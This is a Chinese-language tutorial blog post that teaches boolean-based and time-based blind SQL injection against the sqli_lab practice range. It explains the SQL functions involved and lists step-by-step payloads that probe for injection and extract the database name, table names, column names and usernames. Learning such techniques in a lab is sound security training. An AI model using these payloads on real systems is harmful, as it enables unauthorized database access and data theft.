SQL bool盲注和时间盲注详解


Posted in SQL Server onJuly 23, 2022

今天继续给大家介绍Linux运维相关知识,本文主要内容是SQL bool盲注和时间盲注。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、bool盲注和时间盲注常用函数

1、休眠函数
sleep()是SQL语句中用于休眠的函数,时间盲注中常用,sleep(x)可以让程序休眠x秒。
2、字符串截取函数
字符串截取函数是bool盲注和时间盲注中都需要使用的函数。常用的字符串截取函数有mid()、substr()、left()。
mid()函数格式为:

mid(【目标字段】,【开始的位置】,【截取长度】)

其中,开始的位置默认从1开始。
substr()函数的用法与mid相似,left函数则默认从字段的最左边开始截取,其格式为:

left(【目标字段】,【截取长度】)

表示从目标字段的左边开始截取指定长度的字符。
3、字符串长度函数
字符串长度函数length()会应用在SQL bool盲注和时间盲注中,length()函数可以反馈目标字符串的长度。
4、ascii码转换函数
ascii码转换函数可以将一个字符转换成ascii码,在SQL基于时间的盲注和基于bool的盲注中,ascii码转换函数可以将一个字符转换成其ascii码值。常用的ascii码转换函数为ascii()、ord()。
5、条件判断函数
条件判断函数if是SQL时间盲注中的必用函数,可以利用if函数来根据条件来反馈不同的结果。
if函数格式如下所示:

if(【条件】,【值1】,【值2】)

当条件成立时,if函数返回值1,当条件不成立时,if函数返回值2.

二、bool盲注和时间盲注payload

1、SQL注入点探测

我们使用sqli_lab的靶场,对基于bool的盲注和基于时间的盲注进行讲解,在sqli_lab靶场中,基于bool的盲注是第8关,基于时间的盲注是第9关,页面如下所示:

SQL bool盲注和时间盲注详解

对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and 1=2#

如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:

id=1'and sleep(10)#

如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。

2、猜解数据库名

bool类型的盲注猜解数据库长度payload如下所示:

id=1'and length(database())>10#

时间类型的盲注猜解数据库长度payload如下所示:

id=1'and sleep(if(length(database())>10,10,1))>10#

bool类型的盲注猜解数据库名称payload如下所示:

id=1'and ascii(mid(database(),1,1))>115#

时间类型的盲注猜解数据库名称payload如下所示:

id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#

上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。

3、猜解表名

bool类型的盲注表名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#

时间类型的盲注表名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#

bool类型的盲注表名猜解payload如下所示:

id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#

时间类型的盲注表名猜解payload如下所示:

id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#

在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。

4、猜解字段名

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#

bool类型的盲注字段名个数猜解payload如下所示:

id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#

时间类型的盲注字段名个数猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#

其原理与之前类似。

5、猜解数据

bool类型的盲注数据长度猜解payload如下所示:

id=1'and (select count(*) from users)>1#

时间类型的盲注数据长度猜解payload如下所示:

id=1'and sleep(if((select count(*) from users)>1,10,1))#

bool类型的盲注数据猜解payload如下所示:

id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#

时间类型的盲注数据猜解payload如下所示:

id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#

到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

SQL Server 相关文章推荐
SQL Server 数据库实验课第五周——常用查询条件
Apr 05 SQL Server
SQL Server中交叉联接的用法详解
Apr 22 SQL Server
SqlServer数据库远程连接案例教程
Jul 15 SQL Server
利用 SQL Server 过滤索引提高查询语句的性能分析
Jul 15 SQL Server
sql通过日期判断年龄函数的示例代码
Jul 16 SQL Server
SQL语句中JOIN的用法场景分析
Jul 25 SQL Server
SQL Server中常用截取字符串函数介绍
Mar 16 SQL Server
sqlserver连接错误之SQL评估期已过的问题解决
Mar 23 SQL Server
SQL Server表分区降低运维和维护成本
Apr 08 SQL Server
使用 MybatisPlus 连接 SqlServer 数据库解决 OFFSET 分页问题
Apr 22 SQL Server
SQL Server中T-SQL标识符介绍与无排序生成序号的方法
May 25 SQL Server
在SQL Server中使用 Try Catch 处理异常的示例详解
Jul 15 #SQL Server
SQL中的连接查询详解
Jun 21 #SQL Server
SQL Server数据库备份和恢复数据库的全过程
一次SQL查询优化原理分析(900W+数据从17s到300ms)
Jun 10 #SQL Server
SQL Server2019安装的详细步骤实战记录(亲测可用)
SQL Server携程核心系统无感迁移到MySQL实战
SQL解决未能删除约束问题drop constraint
May 30 #SQL Server
You might like
一个分页的论坛
2006/10/09 PHP
PHP程序61条面向对象分析设计的经验小结
2008/11/12 PHP
php多个字符串替换成同一个的解决方法
2013/06/18 PHP
php中的路径问题与set_include_path使用介绍
2014/02/11 PHP
PHP开发中常用的十个代码样例
2016/02/02 PHP
php使用CURL模拟GET与POST向微信接口提交及获取数据的方法
2016/09/23 PHP
PHP配合fiddler抓包抓取微信指数小程序数据的实现方法分析
2020/01/02 PHP
比较全面的event对像在IE与FF中的区别 推荐
2009/09/21 Javascript
增强用户体验友好性之jquery easyui window 窗口关闭时的提示
2012/06/22 Javascript
js冒泡、捕获事件及阻止冒泡方法详细总结
2014/05/08 Javascript
jQuery中parent()方法用法实例
2015/01/07 Javascript
嵌入式iframe子页面与父页面js通信的方法
2015/01/20 Javascript
基于jquery实现轮播特效
2016/04/22 Javascript
基于angularJS的表单验证指令介绍
2016/10/21 Javascript
Vue.js实现模拟微信朋友圈开发demo
2017/04/20 Javascript
JS库之Three.js 简易入门教程(详解之一)
2017/09/13 Javascript
node-red File读取好保存实例讲解
2019/09/11 Javascript
Windows下安装 node 的版本控制工具 nvm
2020/02/06 Javascript
使用Node.js实现base64和png文件相互转换的方法
2020/03/11 Javascript
[01:38]DOTA2辉夜杯 欢乐的观众现场采访
2015/12/26 DOTA
pyv8学习python和javascript变量进行交互
2013/12/04 Python
python扫描proxy并获取可用代理ip的实例
2017/08/07 Python
对Python 3.2 迭代器的next函数实例讲解
2018/10/18 Python
在tensorflow中设置保存checkpoint的最大数量实例
2020/01/21 Python
通过python 执行 nohup 不生效的解决
2020/04/16 Python
html5简介及新增功能介绍
2020/05/18 HTML / CSS
戴尔美国官网:Dell
2016/08/31 全球购物
世界第一曲奇连锁店:Mrs. Fields Cookies
2017/02/04 全球购物
大学生毕业求职找工作的自我评价
2013/09/29 职场文书
党员自我批评与反省材料
2014/02/10 职场文书
《与象共舞》教学反思
2014/02/24 职场文书
民主生活会整改措施(党员)
2014/09/18 职场文书
2014年教育工作总结
2014/11/26 职场文书
公务员考察材料
2014/12/23 职场文书
道歉信怎么写
2015/05/12 职场文书
母亲节主题班会
2015/08/14 职场文书